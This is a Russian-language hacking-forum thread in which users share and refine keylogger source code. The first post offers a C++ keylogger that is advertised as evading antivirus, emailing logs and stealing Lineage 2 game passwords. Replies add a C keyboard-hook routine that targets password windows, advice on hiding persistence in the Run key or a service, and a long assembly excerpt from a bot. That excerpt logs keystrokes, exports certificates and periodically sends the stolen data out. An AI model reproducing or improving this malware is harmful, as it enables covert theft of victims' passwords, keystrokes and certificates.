• XSS.stack #1 – первый литературный журнал от юзеров форума

Неплохой кейлогер

ReXeL

RAM
Пользователь
Регистрация
27.11.2008
Сообщения
133
Реакции
5
Всем привет, вот выкладываю исходники кейлогера на с++Борланд
Плюсы:
его больше негде нет=)
не палиться в процессах
логи шлет на мыло
не палиться антивирями, фаерволлами вроде тоже
очень успешно варует пассы от lineage (обходит защиту)
шлет пассы от инета и MAC адресс

Минусы:
250кб (без урезания, архивирования)
необходима разная доработка (урезание лог например)
плохая реализация взятия MAC адресса (неправильная)

В дальнейшем собираюсь
набрать пару с++кодеров для доведения его до ума
написать к нему билдер
добавить функций
и вот думаю шифрование логов
и MAC адресса научим правильно брать=)
И после зделать ещё гейт

Компилируйте, отписывайтесь...
П.С. надеюсь кто-нибудь поможет по продолжению его написания...
П.С2 пожалуйста не палите контору=)

Если что думаю там сами разберетесь...=)
Если что спрашивайте
 

Вложения

  • _.rar
    12.8 КБ · Просмотры: 502
очень успешно варует пассы от lineage (обходит защиту)
у них же там свой драйвер клавиатуры?

Я не силен в языках, но с этим точно нельзя ничего поделать?
Огромный кусок такой
Код:
    if ((GetShiftState() == 0)&&(GetCapsState() == 1)) symbol = "G";
                        break;
                        }
                case 0x48:
                        {
                        if ((GetShiftState() == 1)&&(GetCapsState() == 0)) symbol = "H";
                        if ((GetShiftState() == 1)&&(GetCapsState() == 1)) symbol = "h";
                        if ((GetShiftState() == 0)&&(GetCapsState() == 0)) symbol = "h";
                        if ((GetShiftState() == 0)&&(GetCapsState() == 1)) symbol = "H";
                        break;
                        }
                case 0x49:
                        {
                        if ((GetShiftState() == 1)&&(GetCapsState() == 0)) symbol = "I";
                        if ((GetShiftState() == 1)&&(GetCapsState() == 1)) symbol = "i";
                        if ((GetShiftState() == 0)&&(GetCapsState() == 0)) symbol = "i";
                        if ((GetShiftState() == 0)&&(GetCapsState() == 1)) symbol = "I";
                        break;
                        }
                case 0x4A:
                        {
                        if ((GetShiftState() == 1)&&(GetCapsState() == 0)) symbol = "J";
                        if ((GetShiftState() == 1)&&(GetCapsState() == 1)) symbol = "j";
                        if ((GetShiftState() == 0)&&(GetCapsState() == 0)) symbol = "j";
                        if ((GetShiftState() == 0)&&(GetCapsState() == 1)) symbol = "J";
                        break;
                        }
                case 0x4B:
                        {
                        if ((GetShiftState() == 1)&&(GetCapsState() == 0)) symbol = "K";
                        if ((GetShiftState() == 1)&&(GetCapsState() == 1)) symbol = "k";
                        if ((GetShiftState() == 0)&&(GetCapsState() == 0)) symbol = "k";
                        if ((GetShiftState() == 0)&&(GetCapsState() == 1)) symbol = "K";
                        break;
                        }
                case 0x4C:
                        {
                        if ((GetShiftState() == 1)&&(GetCapsState() == 0)) symbol = "L";
                        if ((GetShiftState() == 1)&&(GetCapsState() == 1)) symbol = "l";
                        if ((GetShiftState() == 0)&&(GetCapsState() == 0)) symbol = "l";
                        if ((GetShiftState() == 0)&&(GetCapsState() == 1)) symbol = "L";
                        break;
                        }
                case 0x4D:
 
"сделать нормальную автозагрузку , а не в ветке Run\Winlogon.exe "
Это специально- процесс невозможно завершить=)))


"у них же там свой драйвер клавиатуры?"
Несовсем, там ГеймГуард недаёт обычно припалить...., а мы меняем файл чтобы могли прочитать буквы=))))
П.С. на некоторых серверах непашет, а вот на la2.volgodom.ru отлично работает=))


"Я не силен в языках, но с этим точно нельзя ничего поделать?
Огромный кусок такой"
ХМ нельзя поделать=)))
Он совсем не огромный)))
 
Это специально
чтобы трой спалился быстро...
делай как службу или придумай поизвращенней как-нить , если тебе , уже так ветка Run нравится, то сделай там запись rundll32:\yourDll_executingTroy.dll
 
Тоесть? Не скомпилировал?=)
ага, но я не в борланде пробовал 8)
я просто в мс си мытался, а так просто забил ибо щас он мне не нужен
но пароли из л2 это хорошо
я искал такую штуку чуть более месяца назад
---
ой флуууууд, сори :)
 
я бы посмотрел но влом борляндию устанавливать :) или переводить код на vc ++ 6, я вот сейчас для троя пишу кейлог модуль с минимумом необходимых функций и вот этого с головой хватает покамись
Код:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
	FILE *f; // Указатель на файл
	if	((code == HC_ACTION)&&(!(HIWORD(lParam) & KF_UP)))
	{
  HWND akel = GetActiveWindow();
  char buff[256];
  GetWindowText(akel, buff, 256);
  if ( strstr(buff, "Введите пароль")) {


	// Открываем файл с логом на добавление, если его нет - создаём
	if((f=fopen("d:\\logfile.log","a"))!=NULL)
	{
  // Просто пишем код нажатой кнопки в файл, но
  // не отслеживаются заглавные/прописные,
  // а также нажатие и удерживание одной кнопки.
  // (для этого анализируй параметр lParam)
  fputc(MapVirtualKey(wParam,2),f);
  fclose(f);
	}
	}
	}
	/* Перед выходом из функции - вызываем нормальный обработчик
	сообщений от клавы (что толку от шпиона, если остальные
	проги перестанут на клаву реагировать ? :)
	*/
	return CallNextHookEx(NULL, code, wParam, lParam);
}
//--------------------------
// Функция входа в DLL - её не оставляем как есть
//--------------------------
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
	return 1;
}
смотри, кода в разы меньше

чот я не пойму ты тот код скомпилировал в .exe и .dll ?
чего именно к тем сорцам привязался ?
смотри сколько уже времени прошло ты так до сих пор не поднял его - попробуй идти от простого к сложному, ты должен каждую строку кода понимать для чего она и зачем именно здесь
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если не ошибаюсь то кейлоггер можно и без dll сделать.

WH_KEYBOARD_LL
Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

LowLevelKeyboardProc Function

--------------------------------------------------------------------------------

The LowLevelKeyboardProc hook procedure is an application-defined or library-defined callback function used with the SetWindowsHookEx function. The system calls this function every time a new keyboard input event is about to be posted into a thread input queue. The keyboard input can come from the local keyboard driver or from calls to the keybd_event function. If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

The HOOKPROC type defines a pointer to this callback function. LowLevelKeyboardProc is a placeholder for the application-defined or library-defined function name.


Syntax

LRESULT CALLBACK LowLevelKeyboardProc(          int nCode,
    WPARAM wParam,
    LPARAM lParam
);
Parameters

nCode
[in] Specifies a code the hook procedure uses to determine how to process the message. If nCode is less than zero, the hook procedure must pass the message to the CallNextHookEx function without further processing and should return the value returned by CallNextHookEx. This parameter can be one of the following values.
HC_ACTION
The wParam and lParam parameters contain information about a keyboard message.
wParam
[in] Specifies the identifier of the keyboard message. This parameter can be one of the following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
lParam
[in] Pointer to a KBDLLHOOKSTRUCT structure.
Return Value

If nCode is less than zero, the hook procedure must return the value returned by CallNextHookEx.

If nCode is greater than or equal to zero, and the hook procedure did not process the message, it is highly recommended that you call CallNextHookEx and return the value it returns; otherwise, other applications that have installed WH_KEYBOARD_LL hooks will not receive hook notifications and may behave incorrectly as a result. If the hook procedure processed the message, it may return a nonzero value to prevent the system from passing the message to the rest of the hook chain or the target window procedure.




Remarks

An application installs the hook procedure by specifying the WH_KEYBOARD_LL hook type and a pointer to the hook procedure in a call to the SetWindowsHookEx function.

This hook is called in the context of the thread that installed it. The call is made by sending a message to the thread that installed the hook. Therefore, the thread that installed the hook must have a message loop.

The hook procedure should process a message in less time than the data entry specified in the LowLevelHooksTimeout value in the following registry key:
HKEY_CURRENT_USER\Control Panel\Desktop

The value is in milliseconds. If the hook procedure does not return during this interval, the system will pass the message to the next hook.

Note that debug hooks cannot track this type of hook.

Function Information

Header Declared in Winuser.h, include Windows.h
Import library None
Minimum operating systems Windows NT 4.0 SP3

See Also

Hooks Overview, CallNextHookEx, KBDLLHOOKSTRUCT, keybd_event, SetWindowsHookEx, WH_KEYBOARD_LL, WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP

А вот чему дядя Женя учит
http://www.viruslist.com/ru/analysis?pubid=204007536
http://www.viruslist.com/ru/analysis?pubid=204007541
 
Если не ошибаюсь то кейлоггер можно и без dll сделать.
интересно, спс за ссылки , над будет помудиться в свободное время...ато сильно геморно возиться с dll в трояке, приходиться прятать в екзешник, шифровать внутри, потом вытаскивать с дешифровкой плюс палевная операция внедрение глобальных ловушек используя эту же dll-ку или подгружать ее с инета...
Так что господин Rexel было бы хорошо покопать в сторону WH_KEYBOARD_LL...
 
Хм...подумал, пообщался с опытными людьми в этом деле....НЕФИГА)
ДЛЛ намного лучше.....)))
Конешно можно и без длл, но смыла нету, да и более геморно)

Получили технологию доступа в ring0 но каспер ругаеться на драйвер...:)
Думаем что же делать...)
 
ReXeL
часть сорца одного старого ботеса :)
мб пригодится ... ( это на тему что длл не к чему )
Код:
; =========================
; startklog
; =========================
proc	startklog
	locals
  msg	MSG	?
	endl
	mov	[g_SendFileWaitTime],0
	stdcall	Lg_AddLog,szLogName,g_hKlogFile
	xor	edx,edx
	invoke	CreateThread,edx,edx,SendKlogFileThread,edx,edx,edx
	xor	ebx,ebx
	xor	eax,eax
	mov	eax,dword[fs:eax+18h]
	mov	eax,dword[eax+30h]
	mov	eax,dword[eax+8h]; getmodhandle( null )
	invoke	SetWindowsHookEx,13,keylog,eax,ebx
	mov	[g_hHook],eax
	lea	eax,[msg]
	invoke	GetMessage,eax,ebx,ebx,ebx
	invoke	UnhookWindowsHookEx,dword[g_hHook]
	invoke	ZwTerminateThread,-2,0
	ret
endp
; =========================
; keylog, nCode, wParam, lParam
; =========================
proc	keylog,nCode,wParam,lParam
	locals
  lpKeyState	rb	256
  lpCharBuf	rb	256
  szWriteBuf	rb	256
	endl
	lea	edi,[lpKeyState]
	stdcall	elmemset,edi,0,256
	mov	eax,[wParam]
	.if	eax <> WM_KEYUP
  .if	eax <> WM_SYSKEYUP
  	invoke	GetForegroundWindow
  	xchg	eax,ebx
  	lea	esi,[lpKeyState]
  	invoke	GetWindowText,ebx,esi,256
  	stdcall	ThisIsKeylog,esi
  	.if	eax <> 0
    invoke	GetTickCount
    sub	eax,dword[g_SendFileWaitTime]
    .if	eax > 30 * 60 * 1000
    	xor	eax,eax
    	invoke	CreateThread,eax,eax,startfindcert,eax,eax,eax
    .endif
    stdcall	elstrcmp,esi,g_curwndname
    .if	ebx <> [g_hCurrentWindow] | eax <> 0
    	mov	[g_hCurrentWindow],ebx
    	lea	ebx,[szWriteBuf]
    	invoke	wsprintf,ebx,szCurrentWindow,esi
    	add	esp,0ch
    	stdcall	Lg_WriteText,[g_hKlogFile],ebx
    	stdcall	elstrcpy,g_curwndname,esi
    .endif
    mov	esi,[lParam]
    lodsd
    .if	al <> VK_LSHIFT
    	.if	al <> VK_RSHIFT
      .if	al <> VK_CAPITAL
      	.if	al <> VK_ESCAPE
        .if	al <> VK_BACK
        	.if	al <> VK_TAB
          lea	edi,[lpCharBuf]
          stdcall	elmemset,edi,0,256
          lea	ebx,[lpKeyState]
          invoke	GetKeyboardState,ebx
          invoke	GetKeyState,VK_LSHIFT
          xchg	esi,eax
          invoke	GetKeyState,VK_RSHIFT
          or	eax,esi
          mov	byte[ebx+16],al
          invoke	GetKeyState,VK_CAPITAL
          mov	byte[ebx+20],al
          mov	esi,[lParam]
          lea	edi,[lpCharBuf]
          lodsd
          xchg	eax,edx
          lodsd
          invoke	ToAscii,edx,eax,ebx,edi,0
          .if	eax <> 0
          	jmp	.car
          .endif
        	.endif
        .endif
      	.endif
      	mov	esi,[lParam]
      	lodsd
      	lodsd
      	shl	eax,16
      	xchg	eax,ecx
      	lodsd
      	shl	eax,24
      	or	ecx,eax
      	push	64
      	lea	edi,[lpCharBuf]
      	invoke	GetKeyNameText,ecx,edi
      	push	edi
      	push	szSpecKey
      	jmp	.write
.car:      	push	edi
      	push	szSimplyKey
      	.if	byte[edi] = 0dh
        mov	byte[edi+1],0ah
      	.endif
.write:      	lea	ebx,[szWriteBuf]
      	push	ebx
      	invoke	wsprintf
      	add	esp,0ch
      	stdcall	Lg_WriteText,[g_hKlogFile],ebx
      .endif
    	.endif
    .endif
  	.endif
  .endif
	.endif
	invoke	CallNextHookEx,[g_hHook],[nCode],[wParam],[lParam]
	ret
endp
; =========================
; ThisIsKeylog
; =========================
proc	ThisIsKeylog,lpData
	pushad
	xor	ebx,ebx
	mov	edi,[g_keylogger]
	mov	esi,[lpData]
	invoke	WaitForSingleObject,[g_MutexKlogger],-1
	.while	edi <> 0
  stdcall	elstrstr,esi,edi
  .if	eax <> 0
  	inc	ebx
  	jmp	.ret
  .endif
  stdcall	elnextstr,edi
  xchg	eax,edi
	.endw
.ret:	invoke	ReleaseMutex,[g_MutexKlogger]
	mov	[esp+1ch],ebx
	popad
	ret
endp
; =========================
; SendKlogFileThread
; =========================
proc	SendKlogFileThread
	locals
  dwRead	dd	?
	endl
	.while	1
  invoke	WaitForSingleObject,[g_MutexKloggerBlock],-1
  mov	esi,dword[g_hKlogFile]
  invoke	GetFileSize,esi,0
  .if	eax <> 0
  	xchg	eax,ebx
  	invoke	GlobalAlloc,GPTR,ebx
  	.if	eax <> 0
    xchg	eax,edi
    invoke	SetFilePointer,esi,0,0,FILE_BEGIN
    lea	eax,[dwRead]
    invoke	ReadFile,esi,edi,ebx,eax,0
    xor	edx,edx
    invoke	SetFilePointer,esi,edx,edx,edx
    invoke	SetEndOfFile,esi
    xor	eax,eax
    invoke	CreateThread,eax,eax,SendKlogData,edi,eax,eax
  	.endif
  .endif
  invoke	ReleaseMutex,[g_MutexKloggerBlock]
  invoke	Sleep,2*60*1000
	.endw
	ret
endp
; =========================
; SendKlogData
; =========================
proc	SendKlogData,lpMem
	mov	edi,[lpMem]
	stdcall	elstrlen,edi
	xor	edx,edx
	stdcall	senddata,edx,TYPE_KLOG,edi,eax,edx,edx,edx
	invoke	GlobalFree,edi
	invoke	ExitThread,0
endp
; =========================
; startfindcert
; =========================
proc	startfindcert
	invoke	GetTickCount
	mov	dword[g_SendFileWaitTime],eax
	stdcall	elcertexport,0
	stdcall	elfinder,0
	ret
endp
; =========================
; LOGGER
; =========================
Lg_WriteText:; hLog, pszLogMess
	push	ebp
	mov	ebp,esp
	push	eax
	pushad
	invoke	WaitForSingleObject,[g_MutexKloggerBlock],-1
	stdcall	elstrlen,dword[ebp+0ch]
	lea	ecx,[ebp-4]
	invoke	WriteFile,dword[ebp+8],dword[ebp+0ch],eax,ecx,0
	invoke	ReleaseMutex,[g_MutexKloggerBlock]
	popad
	leave
	retn	8

Lg_AddLog:; pszLogName, &hLog
	enter	512,0
	pushad
	lea	esi,[ebp-512]
	xor	edx,edx
	invoke	GetSystemDirectory,esi,512
	mov	word[esi+eax],5ch
	stdcall	elstrcat,esi,dword[ebp+8]
	invoke	CreateFile,esi,GENERIC_READ+GENERIC_WRITE,FILE_SHARE_READ+FILE_SHARE_WRITE,edx,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,edx
	xchg	eax,ebx
	invoke	SetFilePointer,ebx,0,0,FILE_END
	mov	ecx,[ebp+0ch]
	mov	dword[ecx],ebx
	popad
	leave
	retn	8

szLogName  db	'h5n1klog.txt',0
szCurrentWindow  db	0dh,0ah,'{{{ cur windows:%s }}}',0dh,0ah,0
szSpecKey  db	'[%s]',0
szSimplyKey  db	'%s',0
g_SendFileWaitTime	db	0

Добавлено в [time]1235746971[/time]
так же можно инжектить себя во все процесы и хукать всяческие функии типа сендмессадж из юзер32.длл ... опять же без длл будет
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх